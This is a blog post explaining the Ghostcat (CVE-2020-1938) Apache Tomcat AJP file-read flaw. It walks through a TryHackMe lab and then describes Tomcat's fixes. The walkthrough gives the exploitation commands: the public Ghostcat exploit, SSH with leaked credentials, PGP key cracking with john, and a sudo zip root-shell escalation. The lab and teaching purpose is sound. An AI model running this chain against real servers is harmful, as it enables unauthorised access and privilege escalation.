Today we are talking about recently came vulnerability discovered by Chaitin Tech security researchers in Feb 2020 it was named ghostcat by the researchers
Apache Tomcat is a popular open-source Java servlet container, so the discovery of Ghostcat understandably set off some alarms. This blog entry seeks to put the most feared Ghostcat-related scenario into perspective by delving into the unlikely circumstances that would make it possible to allow an RCE through the vulnerability.
This vulnerability affects all versions of Tomcat in the default configuration (when we found this vulnerability, it was confirmed that it affected all versions of Tomcat 9/8/7/6, and older versions that were too old were not verified), which means that it has been dormant in Tomcat for more than a decade.
What can Ghostcat do ?
By exploiting the Ghostcat vulnerability, an attacker can read the contents of configuration files and source code files of all webapps deployed on Tomcat.
In addition, if the website application allows users upload file, an attacker can first upload a file containing malicious JSP script code to the server (the uploaded file itself can be any type of file, such as pictures, plain text files etc.), and then include the uploaded file by exploiting the Ghostcat vulnerability, which finally can result in remote code execution
Lets first talk about AJP (Apache Jserv Protocol)
The AJP is a binary protocol used by the Apache Tomcat webserver to communicate with the servlet container that sits behind the webserver using TCP connections. It is mainly used in a cluster or reverse proxy scenario where web servers communicate with application servers or servlet containers.
In simple terms, this means that the HTTP Connector is exposed to clients, while the AJP is used internally between the webserver (e.g., Apache HTTPD) and the Apache Tomcat server (illustrated in Figure 1). AJP is implemented as a module in the Apache HTTP Server, represented as mod_jk or mod_proxy_ajp. The bottom line is that AJP is not, by nature, exposed externally. This is important to point out, as it’s one of the prerequisites for the RCE scenario.
GHOSTCAT is a LFI(Local File Inclusion) vulnerability It’s not a RCE(Remote Code Execution) by default There are some circumstances which made it RCE
CIRCUMSTANCES THAT CAN MAKE GHOSTCAT A RCE
Tryhackme is one of the best platform right now to learn hacking they include all the course for all level so whether you jut started learning hacking this morning or you have been learning it since 2–3 years or its been more than 5 years this will definitely get your heart. This platform focuses on learning by doing so must for every infosec enthusiast
So now guys let our walk-through begin
lets first deploy the machine
now lets do some recon on the machine using nmap
$ nmap -A -Pn [machine-ip]
they are exposing AJP to everyone,we can see that on port 8009 Perfect!!!!!!!!!!!
now lets find the publicly available exploit for ghostcat vulnerability
link- https://www.exploit-db.com/exploits/48143
Lets download the exploit and run this
$ python2 48143.py -p 8009 [machine-ip]
this is what we got after running the exploit looks like username and the password
Okay from our nmap scan we know that SSH service is open on port 22 so lets use these credentials for SSH
$ ssh skyfuck@[machine-ip]
and we are in
okay lets go for user.txt (user flag)
wait what! probably there are more user this is not the user we require for user.txt file so lets go the /home directory
okay so there is one more uer called merlin lets see the permissions on the merlin directory are we allowed to go into that
okay we are allowed so lets go into that directory
Okay so here lies our user.txt file so lets check what permissions are set on this text file can we read the user flag
Yess!!!!! we can now we can read the file using cat command can’t show you the flag guys sorry
$ cat user.txt
okay lets now check for the sudo rights of this user skyfuck(which we are)
$ sudo -l
Ohh this user is not in sudoers file means this user cant run privileged commands so this user is of no use we need to be second user(merlin) in order to get root
okay lets see these interesting files on the home directory of out user skyfuck
so we have a pgp file called credentials which looks suspicious so we need to decrypt this file using gpg tool
lets connect using sftp to the machine as user skyrocket to download these two files on our own system
$ sftp skyfuck@[machine-ip]
so now we are connected to the machine using sftp now lets download these two files using get command
sftp-> get credential.pgp
sftp-> get tryhackme.asc
now we have downloaded these files into our own system
lets use gpg2john to get the secret key
$ gpg2john tryhackme.asc > hash
now lets crack the hash format using john the ripper by using rockyou.txt wordlist
link to the wordlist- https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
$ john --wordlist=rockyou.txt hash
now we got the password or secret key for the pgp encryption
now use the command to import the pgp key in gpg
$ gpg --import tryhackme.asc
now run the following command to decrypt the pgp key
$ gpg --decrypt credential.pgp
now you will get the password for the merlin
now we are going to change the user in our SSH session
$ su merlin
now we are our desired user means merlin
lets check what commands he can run as root
$ sudo -l
okay so we can run zip command as user root now lets check how we can escalate privilege.
There is a blog on hacking articles which tell us when a user is allowed to run zip command as root how that user can become root
link- https://www.hackingarticles.in/linux-for-pentester-zip-privilege-escalation/
we used technique described in the above blog to become root
first we create a text file called raj.txt
$ touch raj.txt
$
sudo zip 1.zip raj.txt -T — unzip-command=”sh -c /bin/bash”
huraay!!!!!!!! we are now root kudos to the hacking article blogs
now we can get the root flag in /root
Fixing of the GHOSTCAT vulnerability
The fixes done by the Apache Tomcat team to address Ghostcat should also provide further clarity on its true limitations. In this section, we detail the fixes in the code from version 9.0.31, which mostly shares the same code with other versions.
Ghostcat relies on a misconfiguration (as seen below) of the AJP Connector where it is enabled by default on the /conf/server.xml file:
<Connector port=”8009″ protocol=”AJP/1.3″ redirectPort=”8443″ />
The Apache Tomcat team commented out this line from the file, thus disabling the AJP connector by default on the commit 4c933d8
On its own, the code fix above is enough to stop Ghostcat from happening since it disables AJP by default. This should only be done if the AJP is not being used.
We detail a second fix that does not necessarily disable AJP but limits it to only listen to the loopback interface by default (figure 4). The Apache Tomcat team made other changes to improve the overall usage of the AJP Protocol, such as enforcing a secret to be defined when the secretRequired attribute is set to true (figure 5). They also made sure that any requests to the AJP Connector that contains arbitrary and unrecognized attributes receive a 403 (Forbidden) response
Given all that has been discussed in this post, it is still important for users to recognize that Ghostcat still poses risks even if it’s not an RCE by default. The fact that there are already many publicly available exploits for this vulnerability should push users to update their Tomcat to the latest version as soon as possible to reduce the risk of being exploited.
Author:infosec_boy
A special thanks to the blog https://blog.trendmicro.com/trendlabs-security-intelligence/busting-ghostcat-an-analysis-of-the-apache-tomcat-vulnerability-cve-2020-1938-and-cnvd-2020-10487/ for awesome information